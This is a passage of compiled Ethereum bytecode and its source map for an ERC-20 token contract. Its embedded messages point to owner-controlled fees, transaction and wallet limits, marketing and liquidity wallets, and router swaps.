76064600d60009054906101000a900460ff1660ff16826135839190614769565b61358d91906147f2565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546135db9190614bc3565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6064600d60009054906101000a900460ff1660ff16856136519190614769565b61365b91906147f2565b6040516136689190614239565b60405180910390a36064600d60019054906101000a900460ff16600d60009054906101000a900460ff1661369c9190615879565b60ff16826136aa9190614769565b6136b491906147f2565b816136bf9190614a6b565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461370d9190614bc3565b925050819055506064600d60019054906101000a900460ff1660ff16826137349190614769565b61373e91906147f2565b6005600082825461374f9190614a6b565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6064600d60019054906101000a900460ff16600d60009054906101000a900460ff166137d19190615879565b60ff16856137df9190614769565b6137e991906147f2565b846137f49190614a6b565b6040516138019190614239565b60405180910390a3613c70565b6064600d60049054906101000a900460ff16600d60029054906101000a900460ff1661383a9190615879565b61384491906158b0565b60ff16816138529190614769565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546138a09190614bc3565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6064600d60049054906101000a900460ff16600d60029054906101000a900460ff166139229190615879565b61392c91906158b0565b60ff168461393a9190614769565b6040516139479190614239565b60405180910390a3600f5461395b306118c6565b1115613aa25760006002600d60049054906101000a900460ff16600d60029054906101000a900460ff16600d60009054906101000a900460ff1661399f9190615879565b6139a99190615879565b60ff16600d60049054906101000a900460ff1660ff166139c8306118c6565b6139d29190614769565b6139dc91906147f2565b6139e691906147f2565b9050613a04816139f5306118c6565b6139ff9190614a6b565b613c76565b613a37816064600d60059054906101000a900460ff1660ff1647613a289190614769565b613a3291906147f2565b613eb9565b600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015613a9f573d6000803e3d6000fd5b50505b6064600d60049054906101000a900460ff16600d60039054906101000a900460ff16600d60029054906101000a900460ff16613ade9190615879565b613ae89190615879565b60ff1682613af69190614769565b613b0091906147f2565b81613b0b9190614a6b565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613b599190614bc3565b925050819055506064600d60039054906101000a900460ff1660ff1682613b809190614769565b613b8a91906147f2565b60056000828254613b9b9190614a6b565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6064600d60049054906101000a900460ff16600d60039054906101000a900460ff16600d60029054906101000a900460ff16613c2d9190615879565b613c379190615879565b60ff1685613c459190614769565b613c4f91906147f2565b84613c5a9190614a6b565b604051613c679190614239565b60405180910390a35b5b505050565b6000600267ffffffffffffffff811115613c9357613c926158e1565b5b604051908082528060200260200182016040528015613cc15781602001602082028036833780820191505090505b5090503081600081518110613cd957613cd8615910565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613d80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613da491906146e4565b81600181518110613db857613db7615910565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613e1f30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612b80565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613e839594939291906159fd565b600060405180830381600087803b158015613e9d57600080fd5b505af1158015613eb1573d6000803e3d6000fd5b505050505050565b613ee630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612b80565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401613f6f96959493929190614606565b60606040518083038185885af1158015613f8d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613fb2919061467c565b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613ff3578082015181840152602081019050613fd8565b83811115614002576000848401525b50505050565b6000601f19601f8301169050919050565b600061402482613fb9565b61402e8185613fc4565b935061403e818560208601613fd5565b61404781614008565b840191505092915050565b6000602082019050818103600083015261406c8184614019565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006140a482614079565b9050919050565b6140b481614099565b81146140bf57600080fd5b50565b6000813590506140d1816140ab565b92915050565b6000819050919050565b6140ea816140d7565b81146140f557600080fd5b50565b600081359050614107816140e1565b92915050565b6000806040838503121561412457614123614074565b5b6000614132858286016140c2565b9250506020614143858286016140f8565b9150509250929050565b60008115159050919050565b6141628161414d565b82525050565b600060208201905061417d6000830184614159565b92915050565b60006020828403121561419957614198614074565b5b60006141a7848285016140c2565b91505092915050565b6000819050919050565b60006141d56141d06141cb84614079565b6141b0565b614079565b9050919050565b60006141e7826141ba565b9050919050565b60006141f9826141dc565b9050919050565b614209816141ee565b82525050565b60006020820190506142246000830184614200565b92915050565b614233816140d7565b82525050565b600060208201905061424e600083018461422a565b92915050565b60006020828403121561426a57614269614074565b5b6000614278848285016140f8565b91505092915050565b60008060006060848603121561429a57614299614074565b5b60006142a8868287016140c2565b93505060206142b9868287016140c2565b92505060406142ca868287016140f8565b9150509250925092565b600060ff82169050919050565b6142ea816142d4565b82525050565b600060208201905061430560008301846142e1565b92915050565b61431481614099565b82525050565b600060208201905061432f600083018461430b565b92915050565b61433e816142d4565b811461434957600080fd5b50565b60008135905061435b81614335565b92915050565b60006020828403121561437757614376614074565b5b60006143858482850161434c565b91505092915050565b6143978161414d565b81146143a257600080fd5b50565b6000813590506143b48161438e565b92915050565b600080604083850312156143d1576143d0614074565b5b60006143df858286016140c2565b92505060206143f0858286016143a5565b9150509250929050565b6000806040838503121561441157614410614074565b5b600061441f8582860161434c565b92505060206144308582860161434c565b9150509250929050565b6000806040838503121561445157614450614074565b5b600061445f858286016140c2565b9250506020614470858286016140c2565b9150509250929050565b60008060006060848603121561449357614492614074565b5b60006144a18682870161434c565b93505060206144b28682870161434c565b92505060406144c38682870161434c565b9150509250925092565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260008201527f2e00000000000000000000000000000000000000000000000000000000000000602082015250565b6000614529602183613fc4565b9150614534826144cd565b604082019050919050565b600060208201905081810360008301526145588161451c565b9050919050565b7f796f752063616e206f6e6c7920616464206c6971756964697479206f6e63652e600082015250565b6000614595602083613fc4565b91506145a08261455f565b602082019050919050565b600060208201905081810360008301526145c481614588565b9050919050565b6000819050919050565b60006145f06145eb6145e6846145cb565b6141b0565b6140d7565b9050919050565b614600816145d5565b82525050565b600060c08201905061461b600083018961430b565b614628602083018861422a565b61463560408301876145f7565b61464260608301866145f7565b61464f608083018561430b565b61465c60a083018461422a565b979650505050505050565b600081519050614676816140e1565b92915050565b60008060006060848603121561469557614694614074565b5b60006146a386828701614667565b93505060206146b486828701614667565b92505060406146c586828701614667565b9150509250925092565b6000815190506146de816140ab565b92915050565b6000602082840312156146fa576146f9614074565b5b6000614708848285016146cf565b91505092915050565b6000604082019050614726600083018561430b565b614733602083018461430b565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614774826140d7565b915061477f836140d7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156147b8576147b761473a565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006147fd826140d7565b9150614808836140d7565b925082614818576148176147c3565b5b828204905092915050565b7f63616e6e6f7420757064617465206d61726b6574696e6757616c6c657420746f60008201527f2073616d6520616464726573732e000000000000000000000000000000000000602082015250565b600061487f602e83613fc4565b915061488a82614823565b604082019050919050565b600060208201905081810360008301526148ae81614872565b9050919050565b7f63616e6e6f7420757064617465206d61785478416d6f756e7420746f2073616d60008201527f652076616c75652e000000000000000000000000000000000000000000000000602082015250565b6000614911602883613fc4565b915061491c826148b5565b604082019050919050565b6000602082019050818103600083015261494081614904565b9050919050565b7f6d61785478416d6f756e74206d757374206265203e202e3125206f6620746f7460008201527f616c20737570706c792e00000000000000000000000000000000000000000000602082015250565b60006149a3602a83613fc4565b91506149ae82614947565b604082019050919050565b600060208201905081810360008301526149d281614996565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e63652e0000000000000000000000000000000000000000000000602082015250565b6000614a35602983613fc4565b9150614a40826149d9565b604082019050919050565b60006020820190508181036000830152614a6481614a28565b9050919050565b6000614a76826140d7565b9150614a81836140d7565b925082821015614a9457614a9361473a565b5b828203905092915050565b7f63616e6e6f7420757064617465206d617857616c6c6574416d6f756e7420746f60008201527f2073616d652076616c75652e0000000000000000000000000000000000000000602082015250565b6000614afb602c83613fc4565b9150614b0682614a9f565b604082019050919050565b60006020820190508181036000830152614b2a81614aee565b9050919050565b7f6d617857616c6c6574416d6f756e74206d757374206265203e3125206f66207460008201527f6f74616c20737570706c792e0000000000000000000000000000000000000000602082015250565b6000614b8d602c83613fc4565b9150614b9882614b31565b604082019050919050565b60006020820190508181036000830152614bbc81614b80565b9050919050565b6000614bce826140d7565b9150614bd9836140d7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614c0e57614c0d61473a565b5b828201905092915050565b7f63616e6e6f74207570646174652065746850657263656e74546f4c697175696460008201527f69747920746f2073616d652076616c75652e0000000000000000000000000000602082015250565b6000614c75603283613fc4565b9150614c8082614c19565b604082019050919050565b60006020820190508181036000830152614ca481614c68565b9050919050565b7f77616c6c6574206164647265737320616c7265616479206578636c756465642e600082015250565b6000614ce1602083613fc4565b9150614cec82614cab565b602082019050919050565b60006020820190508181036000830152614d1081614cd4565b9050919050565b7f63616e6e6f7420757064617465206c697175696469747957616c6c657420746f60008201527f2073616d6520616464726573732e000000000000000000000000000000000000602082015250565b6000614d73602e83613fc4565b9150614d7e82614d17565b604082019050919050565b60006020820190508181036000830152614da281614d66565b9050919050565b7f45524332303a2064656372656173656420616c6c6f776e6163652062656c6f7760008201527f207a65726f2e0000000000000000000000000000000000000000000000000000602082015250565b6000614e05602683613fc4565b9150614e1082614da9565b604082019050919050565b60006020820190508181036000830152614e3481614df8565b9050919050565b7f63616e6e6f7420757064617465206d696e696d756d546f6b656e734265666f7260008201527f655377617020746f2073616d652076616c75652e000000000000000000000000602082015250565b6000614e97603483613fc4565b9150614ea282614e3b565b604082019050919050565b60006020820190508181036000830152614ec681614e8a565b9050919050565b7f6e6577206275794d61726b6574696e67466565206d757374206265203c3d203160008201527f302e000000000000000000000000000000000000000000000000000000000000602082015250565b6000614f29602283613fc4565b9150614f3482614ecd565b604082019050919050565b60006020820190508181036000830152614f5881614f1c565b9050919050565b7f6e6577206275794275726e466565206d757374206265203c3d20352e00000000600082015250565b6000614f95601c83613fc4565b9150614fa082614f5f565b602082019050919050565b60006020820190508181036000830152614fc481614f88565b9050919050565b7f6e65772073656c6c4d61726b6574696e67466565206d757374206265203c3d2060008201527f372e000000000000000000000000000000000000000000000000000000000000602082015250565b6000615027602283613fc4565b915061503282614fcb565b604082019050919050565b600060208201905081810360008301526150568161501a565b9050919050565b7f6e65772073656c6c4275726e466565206d757374206265203c3d20352e000000600082015250565b6000615093601d83613fc4565b915061509e8261505d565b602082019050919050565b600060208201905081810360008301526150c281615086565b9050919050565b7f6e65772073656c6c4c6971756964697479466565206d757374206265203c3d2060008201527f382e000000000000000000000000000000000000000000000000000000000000602082015250565b6000615125602283613fc4565b9150615130826150c9565b604082019050919050565b6000602082019050818103600083015261515481615118565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573732e00000000000000000000000000000000000000000000000000602082015250565b60006151b7602783613fc4565b91506151c28261515b565b604082019050919050565b600060208201905081810360008301526151e6816151aa565b9050919050565b7f63616e6e6f742073656e64206d6f7265207468616e20636f6e7472616374206260008201527f616c616e63652e00000000000000000000000000000000000000000000000000602082015250565b6000615249602783613fc4565b9150615254826151ed565b604082019050919050565b600060208201905081810360008301526152788161523c565b9050919050565b600081905092915050565b50565b600061529a60008361527f565b91506152a58261528a565b600082019050919050565b60006152bb8261528d565b9150819050919050565b7f6572726f72207769746864726177696e67204554482066726f6d20636f6e747260008201527f6163742e00000000000000000000000000000000000000000000000000000000602082015250565b6000615321602483613fc4565b915061532c826152c5565b604082019050919050565b6000602082019050818103600083015261535081615314565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006153b3602483613fc4565b91506153be82615357565b604082019050919050565b600060208201905081810360008301526153e2816153a6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000615445602283613fc4565b9150615450826153e9565b604082019050919050565b6000602082019050818103600083015261547481615438565b9050919050565b7f6175746f6d61746564206d61726b6574206d616b65722070616972206973206160008201527f6c72656164792073657420746f20746861742076616c75652e00000000000000602082015250565b60006154d7603983613fc4565b91506154e28261547b565b604082019050919050565b60006020820190508181036000830152615506816154ca565b9050919050565b7f63616e6e6f74207472616e736665722066726f6d20746865207a65726f20616460008201527f64726573732e0000000000000000000000000000000000000000000000000000602082015250565b6000615569602683613fc4565b91506155748261550d565b604082019050919050565b600060208201905081810360008301526155988161555c565b9050919050565b7f63616e6e6f74207472616e7366657220746f20746865207a65726f206164647260008201527f6573732e00000000000000000000000000000000000000000000000000000000602082015250565b60006155fb602483613fc4565b91506156068261559f565b604082019050919050565b6000602082019050818103600083015261562a816155ee565b9050919050565b7f7472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f2e00000000000000000000000000000000000000000000602082015250565b600061568d602a83613fc4565b915061569882615631565b604082019050919050565b600060208201905081810360008301526156bc81615680565b9050919050565b7f63616e6e6f74207472616e73666572206d6f7265207468616e2062616c616e6360008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b600061571f602283613fc4565b915061572a826156c3565b604082019050919050565b6000602082019050818103600083015261574e81615712565b9050919050565b7f7472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b60006157b1602883613fc4565b91506157bc82615755565b604082019050919050565b600060208201905081810360008301526157e0816157a4565b9050919050565b7f65787065637465642077616c6c657420616d6f756e742065786365656473207460008201527f6865206d617857616c6c6574416d6f756e742e00000000000000000000000000602082015250565b6000615843603383613fc4565b915061584e826157e7565b604082019050919050565b6000602082019050818103600083015261587281615836565b9050919050565b6000615884826142d4565b915061588f836142d4565b92508260ff038211156158a5576158a461473a565b5b828201905092915050565b60006158bb826142d4565b91506158c6836142d4565b9250826158d6576158d56147c3565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61597481614099565b82525050565b6000615986838361596b565b60208301905092915050565b6000602082019050919050565b60006159aa8261593f565b6159b4818561594a565b93506159bf8361595b565b8060005b838110156159f05781516159d7888261597a565b97506159e283615992565b9250506001810190506159c3565b5085935050505092915050565b600060a082019050615a12600083018861422a565b615a1f60208301876145f7565b8181036040830152615a31818661599f565b9050615a40606083018561430b565b615a4d608083018461422a565b969550505050505056fea264697066735822122006882730d9d68f49f995956060ac9a1b7ccf9a3136dbe0f1f81ae823604159cd64736f6c634300080d0033

Deployed Bytecode Sourcemap

2358:13638:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11563:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4998:163;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10398:898;;;;;;;;;;;;;:::i;:::-;;8863:591;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2399:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11806:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8077:298;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5169:375;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7763:306;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11721:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5552:214;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2436:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8628:227;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11900:104;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2072:80;;;;;;;;;;;;;:::i;:::-;;3542:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6416:260;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3222:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3456:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2970:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1875:65;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3295:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11640:75;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9462:591;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5774:340;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4821:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2918:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3410:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3335:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8383:237;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2809:58;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6684:228;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6920:330;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3579:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12010:131;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7258:497;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3261:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2158:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10061:329;;;;;;;;;;;;;:::i;:::-;;3370:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11563:71;11602:13;11626:5;;;;;;;;;;;;;;;;;11619:12;;11563:71;:::o;4998:163::-;5075:4;5092:39;5101:12;:10;:12::i;:::-;5115:7;5124:6;5092:8;:39::i;:::-;5149:4;5142:11;;4998:163;;;;:::o;10398:898::-;1996:12;:10;:12::i;:::-;1986:22;;:6;;;;;;;;;;:22;;;1978:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10464:16:::1;;;;;;;;;;;10463:17;10455:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;10547:4;10528:16;;:23;;;;;;;;;;;;;;;;;;10562:63;10579:4;10594:15;;;;;;;;;;;10612:12;;10562:8;:63::i;:::-;10636:15;;;;;;;;;;;:31;;;10675:21;10706:4;10713:24;10731:4;10713:9;:24::i;:::-;10739:1;10742::::0;10745:12:::1;:10;:12::i;:::-;10759:15;10636:139;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;10786:22;10820:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10811:43;;;10863:4;10870:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10811:83;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10786:108;;10921:14;10905:13;;:30;;;;;;;;;;;;;;;;;;10983:3;10979:1;10964:12;;:16;;;;:::i;:::-;:22;;;;:::i;:::-;10946:15;:40;;;;11037:3;11033:1;11018:12;;:16;;;;:::i;:::-;:22;;;;:::i;:::-;11004:11;:36;;;;11110:4;11062:29;:45;11092:14;11062:45;;;;;;;;;;;;;;;;:52;;;;;;;;;;;;;;;;;;11178:4;11125:34;:50;11160:14;11125:50;;;;;;;;;;;;;;;;:57;;;;;;;;;;;;;;;;;;11193:50;11222:14;11238:4;11193:28;:50::i;:::-;11273:15;11254:16;:34;;;;10444:852;10398:898::o:0;8863:591::-;1996:12;:10;:12::i;:::-;1986:22;;:6;;;;;;;;;;:22;;;1978:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8966:15:::1;;;;;;;;;;;8952:29;;:10;:29;;::::0;8944:88:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;9081:5;9043:18;:35;9062:15;;;;;;;;;;;9043:35;;;;;;;;;;;;;;;;:43;;;;;;;;;;;;;;;;;;9151:5;9097:34;:51;9132:15;;;;;;;;;;;9097:51;;;;;;;;;;;;;;;;:59;;;;;;;;;;;;;;;;;;9216:5;9167:29;:46;9197:15;;;;;;;;;;;9167:46;;;;;;;;;;;;;;;;:54;;;;;;;;;;;;;;;;;;9250:10;9232:15;;:28;;;;;;;;;;;;;;;;;;9309:4;9271:18;:35;9290:15;;;;;;;;;;;9271:35;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;9378:4;9324:34;:51;9359:15;;;;;;;;;;;9324:51;;;;;;;;;;;;;;;;:58;;;;;;;;;;;;;;;;;;9442:4;9393:29;:46;9423:15;;;;;;;;;;;9393:46;;;;;;;;;;;;;;;;:53;;;;;;;;;;;;;;;;;;8863:591:::0;:::o;2399:30::-;;;;;;;;;;;;;:::o;11806:88::-;11861:7;11879:12;;11872:19;;11806:88;:::o;8077:298::-;1996:12;:10;:12::i;:::-;1986:22;;:6;;;;;;;;;;:22;;;1978:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8178:11:::1;;8166:8;:23:::0;8158:76:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;8283:4;8279:1;8264:12;;:16;;;;:::i;:::-;:23;;;;:::i;:::-;8253:8;:34;8245:89;;;;;;;;;;;;:::i;:::-;;;;;;;;;8359:8;8345:11;:22;;;;8077:298:::0;:::o;5169:375::-;5268:4;5285:36;5295:6;5303:9;5314:6;5285:9;:36::i;:::-;5350:11;:19;5362:6;5350:19;;;;;;;;;;;;;;;:33;5370:12;:10;:12::i;:::-;5350:33;;;;;;;;;;;;;;;;5340:6;:43;;5332:97;;;;;;;;;;;;:::i;:::-;;;;;;;;;5440:74;5449:6;5457:12;:10;:12::i;:::-;5507:6;5471:11;:19;5483:6;5471:19;;;;;;;;;;;;;;;:33;5491:12;:10;:12::i;:::-;5471:33;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;5440:8;:74::i;:::-;5532:4;5525:11;;5169:375;;;;;:::o;7763:306::-;1996:12;:10;:12::i;:::-;1986:22;;:6;;;;;;;;;;:22;;;1978:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7859:15:::1;;7847:8;:27:::0;7839:84:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;7972:3;7968:1;7953:12;;:16;;;;:::i;:::-;:22;;;;:::i;:::-;7942:8;:33;7934:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;8053:8;8035:15;:26;;;;7763:306:::0;:::o;11721:79::-;11772:5;2601:2;11781:16;;11721:79;:::o;5552:214::-;5642:4;5658:78;5667:12;:10;:12::i;:::-;5680:7;5725:10;5688:11;:25;5700:12;:10;:12::i;:::-;5688:25;;;;;;;;;;;;;;;:34;5714:7;5688:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;5658:8;:78::i;:::-;5754:4;5747:11;;5552:214;;;;:::o;2436:28::-;;;;;;;;;;;;;:::o;8628:227::-;1996:12;:10;:12::i;:::-;1986:22;;:6;;;;;;;;;;:22;;;1978:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8728:21:::1;;;;;;;;;;;8716:33;;:8;:33;;::::0;8708:96:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;8839:8;8815:21;;:32;;;;;;;;;;;;;;;;;;8628:227:::0;:::o;11900:104::-;11966:7;11984:8;:17;11993:7;11984:17;;;;;;;;;;;;;;;;11977:24;;11900:104;;;:::o;2072:80::-;1996:12;:10;:12::i;:::-;1986:22;;:6;;;;;;;;;;:22;;;1978:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2147:1:::1;2130:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2072:80::o:0;3542:30::-;;;;;;;;;;;;;:::o;6416:260::-;1996:12;:10;:12::i;:::-;1986:22;;:6;;;;;;;;;;:22;;;1978:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6563:8:::1;6521:50;;:29;:38;6551:7;6521:38;;;;;;;;;;;;;;;;;;;;;;;;;:50;;::::0;6513:95:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6660:8;6619:29;:38;6649:7;6619:38;;;;;;;;;;;;;;;;:49;;;;;;;;;;;;;;;;;;6416:260:::0;;:::o;3222:32::-;;;;;;;;;;;;;:::o;3456:79::-;3493:42;3456:79;:::o;2970:41::-;;;;:::o;1875:65::-;1913:7;1931:6;;;;;;;;;;;1924:13;;1875:65;:::o;3295:33::-;;;;;;;;;;;;;:::o;11640:75::-;11681:13;11705:7;;;;;;;;;;;;;;;;;11698:14;;11640:75;:::o;9462:591::-;1996:12;:10;:12::i;:::-;1986:22;;:6;;;;;;;;;;:22;;;1978:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9565:15:::1;;;;;;;;;;;9551:29;;:10;:29;;::::0;9543:88:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;9680:5;9642:18;:35;9661:15;;;;;;;;;;;9642:35;;;;;;;;;;;;;;;;:43;;;;;;;;;;;;;;;;;;9750:5;9696:34;:51;9731:15;;;;;;;;;;;9696:51;;;;;;;;;;;;;;;;:59;;;;;;;;;;;;;;;;;;9815:5;9766:29;:46;9796:15;;;;;;;;;;;9766:46;;;;;;;;;;;;;;;;:54;;;;;;;;;;;;;;;;;;9849:10;9831:15;;:28;;;;;;;;;;;;;;;;;;9908:4;9870:18;:35;9889:15;;;;;;;;;;;9870:35;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;9977:4;9923:34;:51;9958:15;;;;;;;;;;;9923:51;;;;;;;;;;;;;;;;:58;;;;;;;;;;;;;;;;;;10041:4;9992:29;:46;10022:15;;;;;;;;;;;9992:46;;;;;;;;;;;;;;;;:53;;;;;;;;;;;;;;;;;;9462:591:::0;:::o;5774:340::-;5869:4;5913:11;:25;5925:12;:10;:12::i;:::-;5913:25;;;;;;;;;;;;;;;:34;5939:7;5913:34;;;;;;;;;;;;;;;;5894:15;:53;;5886:104;;;;;;;;;;;;:::i;:::-;;;;;;;;;6001:83;6010:12;:10;:12::i;:::-;6023:7;6068:15;6031:11;:25;6043:12;:10;:12::i;:::-